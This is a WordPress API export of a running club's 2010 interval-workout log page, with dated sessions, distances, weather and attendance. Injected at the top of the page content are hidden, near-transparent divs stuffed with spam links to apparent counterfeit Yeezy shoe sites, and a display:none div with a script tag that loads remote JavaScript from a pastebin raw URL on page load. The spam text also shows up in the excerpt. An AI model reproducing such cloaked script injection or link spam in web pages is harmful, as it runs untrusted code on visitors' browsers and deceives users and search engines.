{"id":153,"date":"2010-05-01T11:24:32","date_gmt":"2010-05-01T18:24:32","guid":{"rendered":"http:\/\/gospartans.org\/?page_id=153"},"modified":"2017-02-04T22:31:46","modified_gmt":"2017-02-05T06:31:46","slug":"2010-2","status":"publish","type":"page","link":"https:\/\/gospartans.org\/?page_id=153","title":{"rendered":"2010"},"content":{"rendered":"<div class=\"_all_wplink_42PjORRh_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/outcast-films.com\/zebra-350-yeezy.html\">yeezy boost 350 zebra<\/a><a href=\"http:\/\/www.reelfruit.com\/yeezy-boost-350-v2-black-order-online.html\">yeezy boost 350 v2 for sale<\/a><a href=\"http:\/\/www.ratebook.ch\/yeezy-boost-350-v2-schwarz-kaufen.html\">Adidas Yeezy Boost 350 Schwarz Kaufen<\/a><a href=\"http:\/\/funtanir.it\/vendita-yeezy-boost-350-v2-nero.html\">http:\/\/funtanir.it\/vendita-yeezy-boost-350-v2-nero.html<\/a><a href=\"https:\/\/www.mjps.org.uk\/yeezy-350-v2-black-red-uk-sale.html\">yeezy boost 350 v2 uk black<\/a><a href=\"http:\/\/wowfacts.net\/yeezy-350-boost-v2-white-online.html\">http:\/\/wowfacts.net\/yeezy-350-boost-v2-white-online.html<\/a><a href=\"http:\/\/www.sita.sk\/wp-content\/uploads\/2016\/06\/yeezy-350-v2-beluga.php\">adidas yeezy boost 350 v2<\/a><a href=\"http:\/\/www.iran.pezeshk.us\/yeezy-350-v2-black-by605.html\">Adidas Yeezy Boost 350 V2 Black Copper<\/a><a href=\"http:\/\/job.icivil.ir\/yeezy-350-v2-black-green.html\">Yeezy Boost 350 V2 Black<\/a><a href=\"http:\/\/www.ulkuocaklari.org.tr\/yeezyboost.html\">http:\/\/www.ulkuocaklari.org.tr\/yeezyboost.html<\/a><a href=\"http:\/\/planbgroup.es\/yeezy-350\/\">yeezy boost 350<\/a><a href=\"http:\/\/carolinahomeexteriors.com\/_yeezysboost\/\">yeezy 350 boost<\/a><a href=\"http:\/\/www.aspaym-asturias.es\/buy-yeezy-boost-350\/\">yeezy boost 350 triple white<\/a><a href=\"http:\/\/szaletliepites.hu\/shop-yeezy-boost-350-v2\/\">2017 adidas yeezy boost 350 triple white<\/a><a href=\"http:\/\/www.campamento.aspaym.org\/shop-yeezy-boost-350\/\">http:\/\/www.campamento.aspaym.org\/shop-yeezy-boost-350\/<\/a><a href=\"http:\/\/stlworldsfare.com\/yeezy-boost-white-black\/\">yeezy boost 350 v2 white black<\/a><a href=\"http:\/\/hotelaqua.co.uk\/yeezy-boost-350-black-red\/\">yeezy boost 350 v2 uk black red<\/a><a href=\"http:\/\/apps.rcmrd.org\/yeezy-350-white-black\/\">yeezy boost 350 v2 white black buy<\/a><a href=\"http:\/\/outcast-films.com\/yeezyboost350.php\">yeezy boost 350<\/a><a href=\"http:\/\/www.missionmotorsport.org\/CP9652-yeezy.php\">yeezy boost 350 v2<\/a><\/div>\n<div class=\"_all_wplink_ifisEmmL_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/yeezy350boostv2.us.com\">yeezy 350 boost v2<\/a><\/div>\n<div style=\"display:none\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/pastebin.com\/raw.php?i=f4Rv9vKp\"><\/script><\/div>\n<p>Completed &#8211;<br \/>\n12\/29\/10 Wed &#8211; 4&#215;1,600 = 4 mi; hi 40&#8217;s; 7 ran<br \/>\n12\/27\/10 Mon &#8211; 6&#215;800 = 3 mi; lo 50&#8217;s; 6 ran<br \/>\n12\/22\/10 Wed &#8211; 2x(1,600; 600); 1,600 = 3-3\/4 mi; lo 50&#8217;s; 3 ran<br \/>\n12\/20\/10 Mon &#8211; 2x(800,600; 800) = 2-3\/4 mi; lo 50&#8217;s; 4 ran<br \/>\n12\/15\/10 Wed &#8211; 2&#215;800; 2&#215;1,200; 1,600 = 3 1\/2 mi; lo 50&#8217;s; 4 ran<br \/>\n12\/13\/10 Mon &#8211; 2&#215;800; 2&#215;600; 2&#215;800 = 2 3\/4 mi; mid 50&#8217;s; 5 ran<br \/>\n12\/08\/10 Wed &#8211; rained out<br \/>\n12\/06\/10 Mon &#8211; 2&#215;600; 2&#215;800; 2&#215;600 = 2 1\/2 mi; mid 50&#8217;s; 4 ran<br \/>\n12\/01\/10 Wed &#8211; 2&#215;1,600; 800; 1,600 = 3 1\/2 mi; mid 50&#8217;s; 4 ran<br \/>\n11\/29\/10 Mon &#8211; 3&#215;400;2&#215;600; 2&#215;800 = 2 1\/2 mi; hi 40&#8217;s; 4 ran<br \/>\n11\/24\/10 Wed &#8211; 2&#215;1,200; 1,600; 1,200 = 3 1\/4 mi; o 50&#8217;s; 6 ran<br \/>\n11\/22\/10 Mon &#8211; 400; 600; 2&#215;800; 600; 400 = 2 1\/4 mi; mid 50&#8217;s; 9 ran<br \/>\n11\/17\/10 Wed &#8211; 800; 2&#215;1,200; 1,600 = 3 mi; lo 60&#8217;s; 6 ran<br \/>\n11\/15\/10 Mon &#8211; 5&#215;800 = 2 1\/2 mi; mid 60&#8217;s; 7 ran<br \/>\n11\/10\/10 Wed &#8211; 1,600; 2&#215;1,200; 800 = 3 mi; mid 60&#8221;s; 4 ran<br \/>\n11\/08\/10 Mon &#8211; 2&#215;600; 1,200; 2&#215;600 = 2 1\/4 mi; mid 60&#8217;s; 7 ran<br \/>\n11\/08\/10 Mon &#8211; Begin increasing total distance; short recoveries and slower pace<br \/>\n11\/03\/10 Wed &#8211; 3&#215;1,600 = 3 mi; hi 60&#8217;s; 10 ran<br \/>\n11\/01\/10 Mon &#8211; 800; 600; 400; 600; 800 = 2 mi; mid 60&#8217;s; 6 ran<br \/>\n10\/27\/10 Wed &#8211; 800; 2&#215;1,200; 1,600 = 3 mi; mid 60&#8217;s; 5 ran<br \/>\n10\/25\/10 Mon &#8211; 400; 2&#215;600; 2&#215;800 = 2 mi; lo 60&#8217;s; 5 ran<br \/>\n10\/20\/10 Wed &#8211; 2&#215;800; 1,600; 2&#215;800 = 3 mi; hi 60&#8217;s; 6 ran<br \/>\n10\/18\/10 Mon &#8211; 2&#215;600; 2&#215;400; 2&#215;600 = 2 mi; mid 60&#8217;s; 5 ran<br \/>\n10\/13\/10 Wed &#8211; 2x(1,600; 800) = 3 mi; mid 80&#8217;s; 6 ran<br \/>\n10\/11\/10 Mon &#8211; 4&#215;800 = 2 mi; lo 80&#8217;s; 6 ran<br \/>\n10\/06\/10 Wed &#8211; 1,600; 2&#215;1,200; 800 = 3 mi; lo 70&#8217;s; five ran<br \/>\n10\/04\/10 Mon &#8211; 2&#215;600; 800; 2&#215;600 = 2 mi; hi 60&#8217;s; 6 ran<br \/>\n09\/29\/10 Wed &#8211; 4&#215;1,200 = 3 mi; lo 90&#8217;s; 11 ran<br \/>\n09\/27\/10 Mon &#8211; 2x(600; 400; 600) = 2 mi; hi 80&#8217;s; 8 ran<br \/>\n09\/22\/10 Wed &#8211; 2x(800; 1,200); 800 = 3 mi; mid 70&#8217;s; 7 ran<br \/>\n09\/20\/10 Mon &#8211; 2x(800; 400); 800 = 2 mi; lo 70&#8217;s; 4 ran<br \/>\n09\/15\/10 Wed &#8211; 3&#215;1,600 = 3 mi; hi 60&#8217;s; 7 ran<br \/>\n09\/13\/10 Mon &#8211; 2x(800; 400); 800 = 2 mi; mid 60&#8217;s; 2 ran<br \/>\n09\/08\/10 Wed &#8211; 2x(1,600; 800) = 3 mi; mid 60&#8217;s; 6 ran<br \/>\n09\/06\/10 Mon -Labor Day &#8211;\u00a0 no work-out<br \/>\n09\/01\/10 Wed &#8211; 2&#215;800; 1,600; 2&#215;800 = 3 mi; mid 70&#8217;s; 6 ran<br \/>\n08\/30\/10 Mon &#8211; 2&#215;600; 2&#215;400; 2&#215;600 = 2 mi; lo 70&#8217;s; 10 ran<br \/>\nChange to longer, fast intervals, long recovery<br \/>\n08\/25\/10 Wed &#8211; 6&#215;800 = 3 mi; hi 80&#8217;s; 6 ran<br \/>\n08\/23\/10 Mon &#8211; 800;\u00a0 4x(300, jog 50, sprint 150); 600 = 2 mi; lo 90&#8217;s; 9 ran<br \/>\n08\/18\/10 Wed &#8211; 2&#215;800; 4&#215;400;\u00a0 2&#215;800 = 3 mi; lo 70&#8217;s; 10 ran<br \/>\n08\/16\/10 Mon &#8211; 8&#215;400 = 2 mi; lo 70&#8217;s; 6 ran<br \/>\n08\/11\/10 Wed &#8211; 6&#215;800 = 3 mi; lo 70&#8217;s; 8 ran<br \/>\n08\/09\/10 Mon &#8211; 2&#215;400; 4x(200; 400) = 2 mi; lo 70&#8217;s; 6 ran<br \/>\n08\/04\/10 Wed &#8211; 3x(400; 800; 400) = 3 m; mid 60&#8217;s; 6 ran<br \/>\n08\/02\/10 Mon &#8211; 2&#215;400; 4x(200; 400) = 2 mi; lo 70&#8217;s; 1 ran<br \/>\n07\/28\/10 Wed &#8211; 800; 600; 5&#215;400; 600; 800 = 3 mi; lo 70&#8217;s; 6 ran<br \/>\n07\/26\/10 Mon &#8211; 800;\u00a0 4x(300, jog 50, sprint 150); 600 = 2 mi; lo 70&#8217;s; 4 ran<br \/>\n07\/21\/10 Wed &#8211; 8&#215;600 = 3 mi; lo 70; 5 ran<br \/>\n07\/19\/10 Mon &#8211; 8&#215;400 = 2 mi; mid 70&#8217;s; 8 ran<br \/>\n07\/14\/10 Wed &#8211; 2x(800; 2&#215;400; 800) = 3 mi; mid 70&#8217;s; 8 ran<br \/>\n07\/12\/10 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; hi 70&#8217;s; 6 ran<br \/>\n07\/07\/10 Wed &#8211; 2&#215;800; 4&#215;400;\u00a0 2&#215;800 = 3 mi; lo 80&#8217;s; 8 ran<br \/>\n07\/05\/10 Mon &#8211; Holiday &#8211; no workout<br \/>\n06\/30\/10 Wed &#8211; 800; 600;\u00a0 4x(300, jog 50, sprint 150);\u00a0 600; 800 = 3 mi; lo 80&#8217;s; 10 ran<br \/>\n06\/28\/10 Mon &#8211; 2x(2&#215;400; 2&#215;200); 2&#215;400 = 2 mi; hi 80&#8217;s; 9 ran<br \/>\n06\/23\/10 Wed &#8211; 8&#215;600 = 3 mi; mid 70&#8217;s; 9 ran<br \/>\n06\/21\/10 Mon &#8211; 8&#215;400 = 2 mi; lo 70&#8217;s; 8 ran<br \/>\n06\/16\/10 Wed &#8211; 2x(800; 2&#215;400; 800) = 3 mi; lo 70&#8217;s; 10 ran<br \/>\n06\/14\/10 Mon &#8211; 600;\u00a0 4x(300, jog 50, sprint 150); 600 = 2 mi; lo 70&#8217;s; 8 ran<br \/>\n06\/09\/10 Wed &#8211; 800; 600; 5&#215;400; 600; 800 = 3 mi; lo 70&#8217;s; 11 ran<br \/>\n06\/07\/10 Mon &#8211; 3x(400; 200; 400); 200 = 2 mi; lo 70&#8217;s; 10 ran<br \/>\n06\/02\/10 Wed &#8211; 2&#215;600;\u00a0 2&#215;400; 200; 400; 200; 2&#215;400; 2&#215;600 = 3 mi; lo 70&#8217;s; 11 ran<br \/>\n05\/31\/10 Mon &#8211; Memorial Day &#8211; no workout<br \/>\n05\/26\/10 Wed &#8211; 800; 600;\u00a0 4x(300, jog 50, sprint 150);\u00a0 600; 800 = 3 mi; hi 60&#8217;s; 7 ran<br \/>\n05\/24\/10 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; lo 60&#8217;s 6 ran<br \/>\nChange to shorter and faster intervals &#8211; speed focus<br \/>\n05\/19\/10 Wed &#8211;\u00a0 same as Mon &#8211; light workout; mid 60&#8217;s; 4 ran<br \/>\n05\/17\/10 Mon &#8211; 12&#215;400 = 3 mi; mid 60&#8217;s; 6 ran<br \/>\n05\/12\/10 Wed &#8211; 400; 800; 1,200; 1,600; 1,200; 800; 400 = 4 mi; mid 60&#8217;s lit gusts; 8 ran<br \/>\n05\/10\/10 Mon &#8211; 4x(800&#215;400) = 3 mi; mid 60&#8217;s; 7 ran<br \/>\n05\/05\/10 Wed &#8211;\u00a0 HS conference semifinals &#8211; no workout<br \/>\n05\/03\/10 Mon &#8211; 6&#215;800 = 3 mi; lo 70&#8217;s;\u00a0 12 ran<br \/>\n04\/28\/10 Wed &#8211; 2x(800; 1,600; 800) = 4 mi<br \/>\n04\/26\/10 Mon &#8211; 2x(800;400;400;800) = 3 mi<br \/>\n04\/21\/10 Wed &#8211; rained out<br \/>\n04\/19\/10 Mon &#8211; 3x(400; 600; 400); 600 = 3 mi; mid 60&#8217;s lt breeze; 11 ran<br \/>\n04\/15\/10 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; lo 60&#8217;s; 11 ran<br \/>\n04\/12\/10 Mon &#8211; 3x(600; 800); 600 = 3 mi;<br \/>\n04\/07\/10 Wed &#8211; 4&#215;1,600 = 4 mi;<br \/>\n04\/05\/10 Mon &#8211; 6&#215;800 = 3 mi;<br \/>\n03\/31\/10 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; lo 60&#8217;s rain; 4 ran<br \/>\n03\/29\/10 Mon &#8211; 8&#215;600 = 3 mi; mid 60&#8217;s; 10 ran<br \/>\n03\/24\/10 Wed &#8211; 4&#215;1,600 = 4 mi; mid 60&#8217;s; 11 ran<br \/>\n03\/22\/10 Mon &#8211; 12&#215;400 = 3 mi; mid 60&#8217;s; 11 ran<br \/>\n03\/17\/10 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200 = 4 mi; hi 60&#8217;s; 7 ran<br \/>\n03\/15\/10 Mon &#8211; 3x(600; 800); 600 = 3 mi; hi 60&#8217;s; 7 ran<br \/>\n03\/10\/10 Wed &#8211; 1,600; 4&#215;800; 1,600 = 4 mi; lo 50&#8217;s; 5 ran<br \/>\n03\/08\/10 Mon &#8211; 2x(800;400;400;800) = 3 mi; lo 50&#8217;s; 5 ran<br \/>\n03\/03\/10 Wed &#8211; 2&#215;800; 2&#215;1,600; 2&#215;800 = 4 mi; lo 50&#8217;s, scattered rain; 3 ran<br \/>\n03\/01\/10 Mon &#8211; 8&#215;600 = 3 mi; lo 60&#8217;s; 12 ran<br \/>\n02\/24\/10 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; hi 50&#8217;s; 8 ran<br \/>\n02\/22\/10 Mon &#8211; 3x(400; 600; 400); 600 = 3 mi; lo 60&#8217;s; 7 ran<br \/>\n02\/17\/10 Wed &#8211; 4&#215;1,600 = 4 mi; mid 60&#8217;s; 8 ran<br \/>\n02\/15\/10 Mon &#8211; 4&#215;1,200= 3 mi; hi 60&#8217;s; 6 ran<br \/>\n02\/10\/10 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200 = 4 mi; mid 50&#8217;s; 7 ran<br \/>\n02\/08\/10 Mon &#8211; 6&#215;800= 2 mi, rain shortened; mid 50&#8217;s, rain late; 5 ran<br \/>\n02\/03\/10 Wed &#8211; 2x(800; 1,600; 800) = 4 mi, lo 50&#8217;s; 9 ran<br \/>\n02\/01\/10 Mon &#8211; 3x(600; 800); 600 = 3 mi, lo 50&#8217;s; 5 ran<br \/>\n01\/27\/10 Wed &#8211; 2&#215;800; 2&#215;1,600; 2&#215;800 = 4 mi; mid 50&#8217;s; 7 ran<br \/>\n01\/25\/10 Mon &#8211; no formal intervals; rain late, lo 50&#8217;s; two ran<br \/>\n01\/20\/10 Wed &#8211; rain<br \/>\n01\/18\/10 Mon &#8211; no formal intervals; rain; two ran<br \/>\n01\/13\/10 Wed &#8211; 4&#215;1,600 = 4 mi; mid 50&#8217;s; 4 ran<br \/>\n01\/11\/10 Mon &#8211; 12&#215;400 = 3 mi; mid 50&#8217;s; 4 ran<br \/>\n01\/06\/10 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 m; mid 50&#8217;s; 4 ran<br \/>\n01\/04\/10 Mon &#8211; 3&#215;1,600 = 3 mi; lo 50&#8217;s; 2 ran<\/p>\n","protected":false},"excerpt":{"rendered":"<p>yeezy boost 350 zebrayeezy boost 350 v2 for saleAdidas Yeezy Boost 350 Schwarz Kaufenhttp:\/\/funtanir.it\/vendita-yeezy-boost-350-v2-nero.htmlyeezy boost 350 v2 uk blackhttp:\/\/wowfacts.net\/yeezy-350-boost-v2-white-online.htmladidas yeezy boost 350 v2Adidas Yeezy Boost 350 V2 Black CopperYeezy Boost 350 V2 Blackhttp:\/\/www.ulkuocaklari.org.tr\/yeezyboost.htmlyeezy boost 350yeezy 350 boostyeezy boost 350 triple &hellip; <a href=\"https:\/\/gospartans.org\/?page_id=153\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":136,"menu_order":44,"comment_status":"closed","ping_status":"closed","template":"","meta":{"jetpack_post_was_ever_published":false,"footnotes":""},"class_list":["post-153","page","type-page","status-publish","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/PUWdT-2t","_links":{"self":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/153","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=153"}],"version-history":[{"count":74,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/153\/revisions"}],"predecessor-version":[{"id":1649,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/153\/revisions\/1649"}],"up":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/136"}],"wp:attachment":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=153"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}